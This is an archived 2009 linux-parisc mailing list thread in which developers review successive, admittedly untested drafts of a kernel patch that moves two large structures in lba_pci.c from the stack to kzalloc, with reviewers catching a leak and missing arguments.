Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 01:26:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MI9x0-00057G-TA
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 01:26:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755085AbZFTX0S (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 19:26:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755332AbZFTX0S
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 19:26:18 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45054 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755085AbZFTX0R (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 19:26:17 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 89E0E8EE0EA;
	Sat, 20 Jun 2009 16:26:20 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Q+mhPai1pOlG; Sat, 20 Jun 2009 16:26:20 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E41438EE0C7;
	Sat, 20 Jun 2009 16:26:19 -0700 (PDT)
In-Reply-To: <20090620231151.GA21477@lackof.org>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1795
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1795>

On Sat, 2009-06-20 at 17:11 -0600, Grant Grundler wrote:
> On Sat, Jun 20, 2009 at 04:46:13PM -0600, Grant Grundler wrote:
> > gcc 4.4 warns about:
> > drivers/parisc/lba_pci.c: In function 'lba_pat_resources':
> > drivers/parisc/lba_pci.c:1099: warning: the frame size of 8280 bytes is larger than 4096 bytes
> > 
> > The problem is we declare two large structures on the stack. They don't need
> > to be on the stack since they are only used during LBA initialization (which
> > is serialized). Moving to be "static".
> 
> Take 2. Per Kyle's request (offlist), use kzalloc instead since it's not
> ever used again after boot.

Um, wouldn't one of the points of using kzalloc over a static allocation
be to free the memory again after we've finished using it?  Otherwise we
leek a page for every lba.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][linux-2.6] Fix gcc 4.4 warning in lba_pci.c
Date: Sat, 20 Jun 2009 17:29:27 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20090620232927.GA21560@lackof.org>
References: <20090620224613.GB853@lackof.org> <20090620231151.GA21477@lackof.org> <1245540375.31688.2.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245540575 26083 80.91.229.12 (20 Jun 2009 23:29:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 23:29:35 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 01:29:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIA02-0005kc-HK
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 01:29:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751604AbZFTX3Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 19:29:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751896AbZFTX3Z
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 19:29:25 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:60358 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751604AbZFTX3Y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 19:29:24 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id EA33833E005A;
	Sat, 20 Jun 2009 17:29:27 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id x2SuBE-jac1B; Sat, 20 Jun 2009 17:29:27 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 93B9F33E0066; Sat, 20 Jun 2009 17:29:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1245540375.31688.2.camel@mulgrave.site>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1796
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1796>

On Sat, Jun 20, 2009 at 06:26:15PM -0500, James Bottomley wrote:
> On Sat, 2009-06-20 at 17:11 -0600, Grant Grundler wrote:
> > On Sat, Jun 20, 2009 at 04:46:13PM -0600, Grant Grundler wrote:
> > > gcc 4.4 warns about:
> > > drivers/parisc/lba_pci.c: In function 'lba_pat_resources':
> > > drivers/parisc/lba_pci.c:1099: warning: the frame size of 8280 bytes is larger than 4096 bytes
> > > 
> > > The problem is we declare two large structures on the stack. They don't need
> > > to be on the stack since they are only used during LBA initialization (which
> > > is serialized). Moving to be "static".
> > 
> > Take 2. Per Kyle's request (offlist), use kzalloc instead since it's not
> > ever used again after boot.
> 
> Um, wouldn't one of the points of using kzalloc over a static allocation
> be to free the memory again after we've finished using it?  Otherwise we
> leek a page for every lba.

Doh...of course!
I was too worried about the error case to think about the regular release.
I'll repost a clean version.

In the meantime...if someone can explain this error I could build and test:
fs/nfs/nfsroot.c:400: error: __setup_str_nfs_root_setup causes a section type conflict

something to do with __setup(nfs_root_setup) but it's not obvious to me what.


thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][linux-2.6] Fix gcc 4.4 warning in lba_pci.c
Date: Sat, 20 Jun 2009 17:34:21 -0600
Lines: 93
Approved: news@gmane.org
Message-ID: <20090620233421.GB21560@lackof.org>
References: <20090620224613.GB853@lackof.org> <20090620231151.GA21477@lackof.org> <1245540375.31688.2.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245540867 26701 80.91.229.12 (20 Jun 2009 23:34:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 23:34:27 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 01:34:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIA4l-0005kc-B0
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 01:34:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751896AbZFTXeT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 19:34:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751980AbZFTXeT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 19:34:19 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:44823 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751896AbZFTXeS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 19:34:18 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 963EB33E0002;
	Sat, 20 Jun 2009 17:34:21 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id c2JuXXAm-ih3; Sat, 20 Jun 2009 17:34:21 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 3B4B733E0067; Sat, 20 Jun 2009 17:34:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1245540375.31688.2.camel@mulgrave.site>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1797
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1797>

On Sat, Jun 20, 2009 at 06:26:15PM -0500, James Bottomley wrote:
...
> > Take 2. Per Kyle's request (offlist), use kzalloc instead since it's not
> > ever used again after boot.
> 
> Um, wouldn't one of the points of using kzalloc over a static allocation
> be to free the memory again after we've finished using it?  Otherwise we
> leek a page for every lba.

James,
Thanks again for gating my utter fail.
Fixed in this version.

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
----
Again...still not tested. :(

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 59fbbf1..a30e668 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -980,28 +980,38 @@ static void
 lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 {
 	unsigned long bytecnt;
-	pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;	/* PA_VIEW */
-	pdc_pat_cell_mod_maddr_block_t io_pdc_cell;	/* IO_VIEW */
 	long io_count;
 	long status;	/* PDC return status */
 	long pa_count;
+	pdc_pat_cell_mod_maddr_block_t *pa_pdc_cell;	/* PA_VIEW */
+	pdc_pat_cell_mod_maddr_block_t *io_pdc_cell;	/* IO_VIEW */
 	int i;
 
+	pa_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t));
+	if (!pa_pdc_cell)
+		return;
+
+	io_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t));
+	if (!pa_pdc_cell) {
+		kfree(pa_pdc_cell);
+		return;
+	}
+
 	/* return cell module (IO view) */
 	status = pdc_pat_cell_module(&bytecnt, pa_dev->pcell_loc, pa_dev->mod_index,
-				PA_VIEW, & pa_pdc_cell);
-	pa_count = pa_pdc_cell.mod[1];
+				PA_VIEW, pa_pdc_cell);
+	pa_count = pa_pdc_cell->mod[1];
 
 	status |= pdc_pat_cell_module(&bytecnt, pa_dev->pcell_loc, pa_dev->mod_index,
-				IO_VIEW, &io_pdc_cell);
-	io_count = io_pdc_cell.mod[1];
+				IO_VIEW, io_pdc_cell);
+	io_count = io_pdc_cell->mod[1];
 
 	/* We've already done this once for device discovery...*/
 	if (status != PDC_OK) {
 		panic("pdc_pat_cell_module() call failed for LBA!\n");
 	}
 
-	if (PAT_GET_ENTITY(pa_pdc_cell.mod_info) != PAT_ENTITY_LBA) {
+	if (PAT_GET_ENTITY(pa_pdc_cell->mod_info) != PAT_ENTITY_LBA) {
 		panic("pdc_pat_cell_module() entity returned != PAT_ENTITY_LBA!\n");
 	}
 
@@ -1016,8 +1026,8 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 		} *p, *io;
 		struct resource *r;
 
-		p = (void *) &(pa_pdc_cell.mod[2+i*3]);
-		io = (void *) &(io_pdc_cell.mod[2+i*3]);
+		p = (void *) &(pa_pdc_cell->mod[2+i*3]);
+		io = (void *) &(io_pdc_cell->mod[2+i*3]);
 
 		/* Convert the PAT range data to PCI "struct resource" */
 		switch(p->type & 0xff) {
@@ -1096,6 +1106,9 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 			break;
 		}
 	}
+
+	kfree(pa_pdc_cell);
+	kfree(io_pdc_cell);
 }
 #else
 /* keep compiler from complaining about missing declarations */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][linux-2.6] Fix gcc 4.4 warning in lba_pci.c
Date: Sat, 20 Jun 2009 19:39:28 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <20090620233929.6C5A04EF8@hiauly1.hia.nrc.ca>
References: <20090620233421.GB21560@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245541220 27388 80.91.229.12 (20 Jun 2009 23:40:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 23:40:20 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, grundler@parisc-linux.org,
	kyle@mcmartin.ca, deller@gmx.de, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 01:40:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIAAS-0007wi-4T
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 01:40:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751813AbZFTXj2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 19:39:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752339AbZFTXj2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 19:39:28 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2866 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751604AbZFTXj2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 19:39:28 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6C5A04EF8; Sat, 20 Jun 2009 19:39:29 -0400 (EDT)
In-Reply-To: <20090620233421.GB21560@lackof.org> from "Grant Grundler" at Jun 20, 2009 05:34:21 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1798
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1798>

> +	pa_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t));
> +	if (!pa_pdc_cell)
> +		return;
> +
> +	io_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t));

The kzalloc calls are missing an argument...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][linux-2.6] Fix gcc 4.4 warning in lba_pci.c
Date: Sat, 20 Jun 2009 17:51:30 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20090620235130.GC21560@lackof.org>
References: <20090620233421.GB21560@lackof.org> <20090620233929.6C5A04EF8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245541897 28589 80.91.229.12 (20 Jun 2009 23:51:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 23:51:37 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	James.Bottomley@HansenPartnership.com, kyle@mcmartin.ca,
	deller@gmx.de, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 01:51:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIALN-0001mI-Fx
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 01:51:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752375AbZFTXv2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 19:51:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752404AbZFTXv2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 19:51:28 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:36243 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752351AbZFTXv2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 19:51:28 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 4768A33E0002;
	Sat, 20 Jun 2009 17:51:31 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id hSJApKXN4COY; Sat, 20 Jun 2009 17:51:30 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id D15D833E005A; Sat, 20 Jun 2009 17:51:30 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090620233929.6C5A04EF8@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1799
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1799>

On Sat, Jun 20, 2009 at 07:39:28PM -0400, John David Anglin wrote:
> > +	pa_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t));
> > +	if (!pa_pdc_cell)
> > +		return;
> > +
> > +	io_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t));
> 
> The kzalloc calls are missing an argument...

Doh #2....thank you, Dave. Time for a nap. 5h is clearly not enough.
I'll risk posting another version even though I still can't build.

BTW, here is the offending error:
fs/nfs/nfsroot.c:400: error: __setup_str_nfs_root_setup causes a section type conflict

and the offending line 400 after preprocessing:
static const char __setup_str_nfs_root_setup[] __attribute__ ((__section__(".init.rodata"))) __attribute__((aligned(1))) = "nfsroot="; static struct obs_kernel_param __setup_nfs_root_setup __attribute__((__used__)) __attribute__ ((__section__(".init.setup"))) __attribute__((aligned((sizeof(long))))) = { __setup_str_nfs_root_setup, nfs_root_setup, 0 };

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][linux-2.6] v4 : Fix gcc 4.4 warning in lba_pci.c
Date: Sat, 20 Jun 2009 17:55:07 -0600
Lines: 91
Approved: news@gmane.org
Message-ID: <20090620235507.GD21560@lackof.org>
References: <20090620224613.GB853@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245542135 28981 80.91.229.12 (20 Jun 2009 23:55:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 23:55:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 01:55:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIAPD-0002UO-IQ
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 01:55:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752920AbZFTXz1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 19:55:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752375AbZFTXz0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 19:55:26 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:36265 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753233AbZFTXzF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 19:55:05 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id B234B33E0002;
	Sat, 20 Jun 2009 17:55:07 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id HhpcRgtlK9lm; Sat, 20 Jun 2009 17:55:07 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 4FE1B33E005A; Sat, 20 Jun 2009 17:55:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090620224613.GB853@lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1800
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1800>

On Sat, Jun 20, 2009 at 04:46:13PM -0600, Grant Grundler wrote:
gcc 4.4 warns about:
drivers/parisc/lba_pci.c: In function 'lba_pat_resources':
drivers/parisc/lba_pci.c:1099: warning: the frame size of 8280 bytes is larger than 4096 bytes

The problem is we declare two large structures on the stack. They don't need
to be on the stack since they are only used during LBA initialization (which
is serialized). Moving to be "static".

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
---
Take #3. Still can not build a kernel to test. Thanks to James Bottomley and
John David Anglin for catching the dumbest errors I've done in a long time.


diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 59fbbf1..bc7a82d 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -980,28 +980,38 @@ static void
 lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 {
 	unsigned long bytecnt;
-	pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;	/* PA_VIEW */
-	pdc_pat_cell_mod_maddr_block_t io_pdc_cell;	/* IO_VIEW */
 	long io_count;
 	long status;	/* PDC return status */
 	long pa_count;
+	pdc_pat_cell_mod_maddr_block_t *pa_pdc_cell;	/* PA_VIEW */
+	pdc_pat_cell_mod_maddr_block_t *io_pdc_cell;	/* IO_VIEW */
 	int i;
 
+	pa_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t), GFP_KERNEL);
+	if (!pa_pdc_cell)
+		return;
+
+	io_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t), GFP_KERNEL);
+	if (!pa_pdc_cell) {
+		kfree(pa_pdc_cell);
+		return;
+	}
+
 	/* return cell module (IO view) */
 	status = pdc_pat_cell_module(&bytecnt, pa_dev->pcell_loc, pa_dev->mod_index,
-				PA_VIEW, & pa_pdc_cell);
-	pa_count = pa_pdc_cell.mod[1];
+				PA_VIEW, pa_pdc_cell);
+	pa_count = pa_pdc_cell->mod[1];
 
 	status |= pdc_pat_cell_module(&bytecnt, pa_dev->pcell_loc, pa_dev->mod_index,
-				IO_VIEW, &io_pdc_cell);
-	io_count = io_pdc_cell.mod[1];
+				IO_VIEW, io_pdc_cell);
+	io_count = io_pdc_cell->mod[1];
 
 	/* We've already done this once for device discovery...*/
 	if (status != PDC_OK) {
 		panic("pdc_pat_cell_module() call failed for LBA!\n");
 	}
 
-	if (PAT_GET_ENTITY(pa_pdc_cell.mod_info) != PAT_ENTITY_LBA) {
+	if (PAT_GET_ENTITY(pa_pdc_cell->mod_info) != PAT_ENTITY_LBA) {
 		panic("pdc_pat_cell_module() entity returned != PAT_ENTITY_LBA!\n");
 	}
 
@@ -1016,8 +1026,8 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 		} *p, *io;
 		struct resource *r;
 
-		p = (void *) &(pa_pdc_cell.mod[2+i*3]);
-		io = (void *) &(io_pdc_cell.mod[2+i*3]);
+		p = (void *) &(pa_pdc_cell->mod[2+i*3]);
+		io = (void *) &(io_pdc_cell->mod[2+i*3]);
 
 		/* Convert the PAT range data to PCI "struct resource" */
 		switch(p->type & 0xff) {
@@ -1096,6 +1106,9 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 			break;
 		}
 	}
+
+	kfree(pa_pdc_cell);
+	kfree(io_pdc_cell);
 }
 #else
 /* keep compiler from complaining about missing declarations */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][linux-2.6] Fix gcc 4.4 warning in lba_pci.c
Date: Sat, 20 Jun 2009 20:06:34 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <20090621000635.6824C4FC6@hiauly1.hia.nrc.ca>
